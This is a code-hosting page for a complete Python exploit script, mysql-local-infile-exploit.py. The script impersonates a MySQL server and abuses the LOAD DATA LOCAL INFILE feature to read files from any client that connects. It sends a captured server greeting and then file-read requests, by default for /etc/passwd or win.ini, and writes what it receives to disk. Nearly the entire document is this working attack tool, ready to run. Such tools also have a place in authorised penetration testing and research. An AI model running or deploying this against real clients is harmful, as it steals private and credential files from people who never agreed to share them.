-
Notifications
You must be signed in to change notification settings - Fork 0
/
mysql-local-infile-exploit.py
414 lines (353 loc) · 17.3 KB
/
mysql-local-infile-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
#!/usr/bin/env python3
import argparse
import os
import socket
import tempfile
class Colors:
RESET = '\033[0m'
LIGHT_GRAY = '\033[37m'
LIGHT_RED = '\033[91m'
LIGHT_GREEN = '\033[92m'
LIGHT_YELLOW = '\033[93m'
LIGHT_BLUE = '\033[94m'
LIGHT_MAGENTA = '\033[95m'
LIGHT_CYAN = '\033[96m'
class Tags:
INFO = Colors.LIGHT_BLUE + '[*]' + Colors.RESET
WARN = Colors.LIGHT_YELLOW + '[!]' + Colors.RESET
SUCCESS = Colors.LIGHT_GREEN + '[+]' + Colors.RESET
FAIL = Colors.LIGHT_RED + '[-]' + Colors.RESET
OUT = Colors.LIGHT_GRAY + '[>]' + Colors.RESET
IN = Colors.LIGHT_GRAY + '[<]' + Colors.RESET
STATE = Colors.LIGHT_GRAY + '[#]' + Colors.RESET
class Packet:
# Captured from MySQL Server 5.7.26 on Ubuntu 18.04.1
@staticmethod
def mysql_packet_greeting(seq_id=0x00):
return bytes(
[0x5b, 0x00, 0x00, seq_id, 0x0a, 0x35, 0x2e, 0x37, 0x2e, 0x32, 0x36, 0x2d, 0x30, 0x75, 0x62, 0x75, 0x6e,
0x74, 0x75, 0x30, 0x2e, 0x31, 0x38, 0x2e, 0x30, 0x34, 0x2e, 0x31, 0x00, 0x3d, 0x00, 0x00, 0x00, 0x3c, 0x2e,
0x63, 0x22, 0x2f, 0x2a, 0x01, 0x12, 0x00, 0xff, 0xf7, 0x08, 0x02, 0x00, 0xff, 0x81, 0x15, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x29, 0x34, 0x1d, 0x21, 0x3a, 0x75, 0x01, 0x38, 0x63, 0x37,
0x1d, 0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x70, 0x61, 0x73,
0x73, 0x77, 0x6f, 0x72, 0x64, 0x00])
@staticmethod
def mysql_packet_infile_request(filename, seq_id=0x01):
a = [0x00, 0x00, 0x00, seq_id, 0xfb]
a[0] = len(filename) + 1
a.extend(bytes(filename.encode()))
return bytes(bytearray(a))
# See: https://dev.mysql.com/doc/internals/en/packet-OK_Packet.html
@staticmethod
def mysql_packet_ok(seq_id=0x02):
return bytes([0x07, 0x00, 0x00, seq_id, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00])
# See: https://dev.mysql.com/doc/internals/en/com-quit.html
@staticmethod
def mysql_packet_quit():
return bytes([0x01, 0x00, 0x00, 0x00, 0x01])
# See: https://dev.mysql.com/doc/internals/en/mysql-packet.html
@staticmethod
def mysql_packet_header(seq_id=0x03):
return bytes([0x00, 0x00, 0x00, seq_id])
def __init__(self, data):
if len(data) >= 4:
self.payload_length = int.from_bytes(data[0:3], byteorder='little', signed=False)
self.seq_id = data[3]
self.payload = bytearray(data[4:self.payload_length + 4]) if len(data) >= 4 else None
self.eof = True if (data[-4:] == Packet.mysql_packet_header(self.seq_id + 1)
or data[-4:] == Packet.mysql_packet_header(self.seq_id)) else False
else:
exit(f'{Tags.FAIL} Tried to parse packet of invalid length {len(data)}. Check --debug for more info.')
# Checks for the LOAD DATA LOCAL capability bit (assumes this is a login request).
# Note that "having capability" does not guarantee LOCAL INFILE is enabled.
def load_data_local_enabled(self):
return get_bit(self.payload[0:2], 7) if self.payload_length >= 2 else 0
def is_query(self):
return (self.payload[0] == 0x03) if self.payload_length else False
def is_command_quit(self):
return self.payload_length == 1 and self.payload[0] == 0x01
def is_complete(self):
return len(self.payload) == self.payload_length
def is_end_of_file(self):
return self.eof
def missing_byte_count(self):
return self.payload_length - len(self.payload)
def append_to_payload(self, data):
self.payload.extend(data)
def add_fragment(self, fragment):
self.payload_length += fragment.payload_length
self.seq_id = fragment.seq_id
self.payload.extend(fragment.payload)
self.eof = fragment.is_end_of_file()
class Server:
STATE_INITIALIZED = 'INITIALIZED'
STATE_LISTENING = 'LISTENING'
STATE_INCOMING_CONNECTION = 'RECEIVED CONNECTION'
STATE_SENT_GREETING = 'SENT GREETING'
STATE_AWAITING_LOGIN_REQUEST = 'AWAITING LOGIN REQUEST'
STATE_RECEIVED_LOGIN_REQUEST = 'RECEIVED LOGIN REQUEST'
STATE_NO_CAPABILITY = 'NO CAPABILITY'
STATE_NO_RESPONSE = 'NO RESPONSE'
STATE_SENT_OK = 'SENT OK'
STATE_AWAITING_QUERY = 'AWAITING QUERY'
STATE_RECEIVED_QUERY = 'RECEIVED QUERY'
STATE_SENT_INFILE_REQUEST = 'SENT INFILE REQUEST'
STATE_AWAITING_FILE = 'AWAITING FILE'
STATE_AWAITING_FILE_FRAGMENT = 'AWAITING FILE FRAGMENT'
STATE_RECEIVED_FILE = 'RECEIVED FILE'
STATE_RECEIVED_FILE_FRAGMENT = 'RECEIVED FILE FRAGMENT'
STATE_END_OF_FILES = 'END OF FILES'
STATE_RECEIVED_EMPTY_RESPONSE = 'RECEIVED EMPTY RESPONSE'
STATE_RECEIVED_COMMAND_QUIT = 'RECEIVED COMMAND QUIT'
STATE_SHUTTING_DOWN = 'SHUTTING DOWN'
def __init__(self, ip, port, timeout, files, base_dir, verbose, debug):
self.state = Server.STATE_INITIALIZED
self.running = False
self.sock = None
self.client_socket = None
self.client_addr = None
self.latest_packet = None
self.ip = ip
self.port = port
self.timeout = timeout
self.files = files
self.files_index = 0
self.base_dir = base_dir
self.output_dir = None
self.verbose = verbose
self.debug = debug
def get_listener_socket(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((self.ip, self.port))
s.listen(5)
return s
@staticmethod
def check_is_query_packet(data):
return data[4:5] == b'\x03'
def update_state(self, state):
self.state = state
self.print_status()
def print_status(self):
if self.debug: print(f'{Tags.STATE} {self.state}')
if self.state == Server.STATE_LISTENING:
print(f'{Tags.SUCCESS} Listening on {self.ip}:{self.port}...')
elif self.state == Server.STATE_INCOMING_CONNECTION:
print(f'{Tags.SUCCESS} Incoming connection from {self.client_addr[0]}')
print(f'{Tags.SUCCESS} Writing files to: {self.output_dir}')
elif self.state == Server.STATE_NO_CAPABILITY:
print(
f'{Tags.FAIL} LOAD DATA LOCAL capability not detected - client likely not vulnerable '
f'(continuing anyway)')
elif self.state == Server.STATE_RECEIVED_FILE:
print(f'{Tags.SUCCESS} Received: {self.files[self.files_index]}')
try:
print(self.latest_packet.payload.decode())
except UnicodeDecodeError:
pass
elif self.state == Server.STATE_RECEIVED_EMPTY_RESPONSE:
print(f'{Tags.WARN} Received an empty response for: {self.files[self.files_index]}')
elif self.state == Server.STATE_NO_RESPONSE:
print(f'{Tags.FAIL} Client timed out.')
elif self.state == Server.STATE_RECEIVED_COMMAND_QUIT:
print(f'{Tags.WARN} Received quit command from client')
elif self.state == Server.STATE_SHUTTING_DOWN:
print(f'{Tags.SUCCESS} Shutting down server...')
if self.verbose:
if self.state == Server.STATE_SENT_GREETING:
print(f'{Tags.INFO} Sent greeting to client')
elif self.state == Server.STATE_RECEIVED_LOGIN_REQUEST:
print(f'{Tags.INFO} Received login request from client')
print(f'{Tags.INFO} Checking if client has LOAD DATA LOCAL capability')
elif self.state == Server.STATE_SENT_OK:
print(f'{Tags.INFO} Sent OK to client')
elif self.state == Server.STATE_RECEIVED_QUERY:
print(f'{Tags.INFO} Received query')
elif self.state == Server.STATE_SENT_INFILE_REQUEST:
print(f'{Tags.INFO} Sent LOCAL INFILE request for file: {self.files[self.files_index]}')
elif self.state == Server.STATE_RECEIVED_FILE_FRAGMENT:
print(f'{Tags.INFO} Received fragment for file: {self.files[self.files_index]}')
elif self.state == Server.STATE_END_OF_FILES:
print(f'{Tags.INFO} Reached the end of files list')
def start(self):
self.sock = self.get_listener_socket()
self.update_state(Server.STATE_LISTENING)
self.running = True
try:
self.accept() # blocking call
while self.running: self.receive() # blocking call
except SystemExit as e:
print(e)
self.stop()
def accept(self):
self.client_socket, self.client_addr = self.sock.accept() # blocking call
if self.state == Server.STATE_LISTENING:
self.set_timeout(self.timeout)
self.set_output_dir(self.base_dir, self.client_addr[0])
self.update_state(Server.STATE_INCOMING_CONNECTION)
self.send(Packet.mysql_packet_greeting(0))
self.update_state(Server.STATE_SENT_GREETING)
self.update_state(Server.STATE_AWAITING_LOGIN_REQUEST)
def set_timeout(self, seconds):
self.sock.settimeout(seconds)
self.client_socket.settimeout(seconds)
def set_output_dir(self, base_dir, working_dir):
self.output_dir = os.path.normpath(base_dir + os.sep + os.path.normpath(os.sep + working_dir))
def send(self, data):
if data:
if self.debug: print(f'{Tags.OUT} {data}')
self.client_socket.send(data)
def receive(self):
try:
self.preprocess(self.client_socket.recv(4096)) # blocking call
except socket.timeout:
self.update_state(Server.STATE_NO_RESPONSE)
self.stop()
def preprocess(self, data):
if self.debug: print(f'{Tags.IN} {data}')
# Reassemble fragmented packets
if self.state == Server.STATE_AWAITING_FILE_FRAGMENT:
buffered_bytes = self.latest_packet.missing_byte_count()
self.latest_packet.append_to_payload(data[0:buffered_bytes])
fragment = Packet(data[buffered_bytes:])
self.latest_packet.add_fragment(fragment)
else:
self.latest_packet = Packet(data)
self.process(self.latest_packet)
def process(self, packet):
if self.state == Server.STATE_AWAITING_LOGIN_REQUEST:
self.update_state(Server.STATE_RECEIVED_LOGIN_REQUEST)
if not packet.load_data_local_enabled():
self.update_state(Server.STATE_NO_CAPABILITY)
self.send_ok(packet.seq_id + 1)
self.update_state(Server.STATE_AWAITING_QUERY)
elif self.state == Server.STATE_AWAITING_QUERY:
if packet.is_query():
self.update_state(Server.STATE_RECEIVED_QUERY)
self.send_infile_request(packet.seq_id + 1)
elif self.state == Server.STATE_AWAITING_FILE:
# Received command quit, just exit
if packet.is_command_quit():
self.update_state(Server.STATE_RECEIVED_COMMAND_QUIT)
self.stop()
# We received a query. Ask for the same file again.
elif packet.is_query():
self.send_infile_request(packet.seq_id + 1)
# Packet is still coming through the wire
elif not packet.is_end_of_file():
self.update_state(Server.STATE_RECEIVED_FILE_FRAGMENT)
self.update_state(Server.STATE_AWAITING_FILE_FRAGMENT)
# File received
elif packet.is_end_of_file():
# File was empty, non-existent, or client refused to send it (impossible to differentiate). Move on.
if not packet.payload:
self.update_state(Server.STATE_RECEIVED_EMPTY_RESPONSE)
else:
self.update_state(Server.STATE_RECEIVED_FILE)
self.write_file(self.files[self.files_index], packet.payload)
self.send_next_or_stop(packet.seq_id + 1)
# We received some other response. Ask for the same file again.
else:
self.send_infile_request(packet.seq_id + 1)
elif self.state == Server.STATE_AWAITING_FILE_FRAGMENT:
if self.latest_packet.is_end_of_file():
self.update_state(Server.STATE_RECEIVED_FILE)
self.write_file(self.files[self.files_index], packet.payload)
self.send_next_or_stop(packet.seq_id + 1)
elif self.state == Server.STATE_RECEIVED_FILE:
self.send_next_or_stop(packet.seq_id + 1)
def send_next_or_stop(self, seq_id):
if self.next_file():
self.send_infile_request(seq_id)
else:
self.update_state(Server.STATE_END_OF_FILES)
self.stop()
def stop(self):
self.update_state(Server.STATE_SHUTTING_DOWN)
self.running = False
self.client_socket.shutdown(socket.SHUT_RDWR)
self.client_socket.close()
try:
self.sock.shutdown(socket.SHUT_RDWR)
self.sock.close()
except OSError:
pass
def send_ok(self, seq_id):
self.send(Packet.mysql_packet_ok(seq_id))
self.update_state(Server.STATE_SENT_OK)
def next_file(self):
if len(self.files) > self.files_index + 1:
self.files_index += 1
return True
else:
return False
def send_infile_request(self, seq_id):
self.send(Packet.mysql_packet_infile_request(self.files[self.files_index], seq_id))
self.update_state(Server.STATE_SENT_INFILE_REQUEST)
self.update_state(Server.STATE_AWAITING_FILE)
def write_file(self, filename, data):
outfile = filename.replace(':', '\\') if os.name == 'nt' else filename.replace('\\', '/')
filepath = self.output_dir + os.path.normpath(os.sep + outfile)
if not os.path.exists(os.path.dirname(filepath)):
try:
os.makedirs(os.path.dirname(filepath))
except OSError as e:
print(e)
with open(filepath, 'wb') as f:
f.write(data)
f.close()
# Source: https://stackoverflow.com/questions/166506/finding-local-ip-addresses-using-pythons-stdlib
def get_network_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
s.close()
return ip
except socket.error as e:
exit(f'{Tags.FAIL} Could not resolve network IP: {e}\nAre you connected to the internet?')
# Source: https://stackoverflow.com/questions/43787031/python-byte-array-to-bit-array
def get_bit(data, num):
base = int(num // 8)
shift = int(num % 8)
return (data[base] & (1 << shift)) >> shift
def get_default_os_file():
return 'C:\Windows\win.ini' if os.name == 'nt' else '/etc/passwd'
def parse_args():
color = Colors.LIGHT_BLUE
parser = argparse.ArgumentParser(prog='mysql-local-infile-exploit.py',
usage=color + 'python3 %(prog)s [options]' + Colors.RESET,
description='Impersonates a MySQL server and attempts to retrieve files on the client system via LOAD DATA LOCAL INFILE exploitation.',
epilog='',
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100,
width=200))
file_group = parser.add_mutually_exclusive_group(required=False)
file_group.add_argument('-f', '--file',
help='the file you want to retrieve from the client (default: ' + color + '%(default)s' + Colors.RESET + ')',
type=str, default=get_default_os_file())
file_group.add_argument('-l', '--list',
help='the list of files you want to retrieve from the client (overrides -f / --file)',
type=str, default=None)
parser.add_argument('-d', '--dir', dest='dir',
help='base directory to save retrieved files (default: ' + color + '%(default)s' + Colors.RESET + ')',
type=str, default=tempfile.gettempdir())
parser.add_argument('-i', '--ip', dest='ip',
help='ip to use for the server (default: ' + color + '%(default)s' + Colors.RESET + ')',
type=str, default=get_network_ip())
parser.add_argument('-p', '--port', dest='port',
help='port to use for the server (default: ' + color + '%(default)i' + Colors.RESET + ')',
type=int, default=3306)
parser.add_argument('-t', '--timeout', dest='timeout',
help='connection timeout in seconds (default: ' + color + '%(default)i' + Colors.RESET + ')',
type=int, default=5)
parser.add_argument('--verbose', dest='verbose', help='enable verbose output', action='store_true', default=False)
parser.add_argument('--debug', dest='debug', help='enable debug output', action='store_true', default=False)
return parser.parse_args()
def main():
args = parse_args()
server = Server(args.ip, args.port, args.timeout,
[line.rstrip('\n') for line in open(args.list)] if args.list else [
args.file.strip('\'').strip('"')], args.dir, args.verbose, args.debug)
server.start()
if __name__ == '__main__':
main()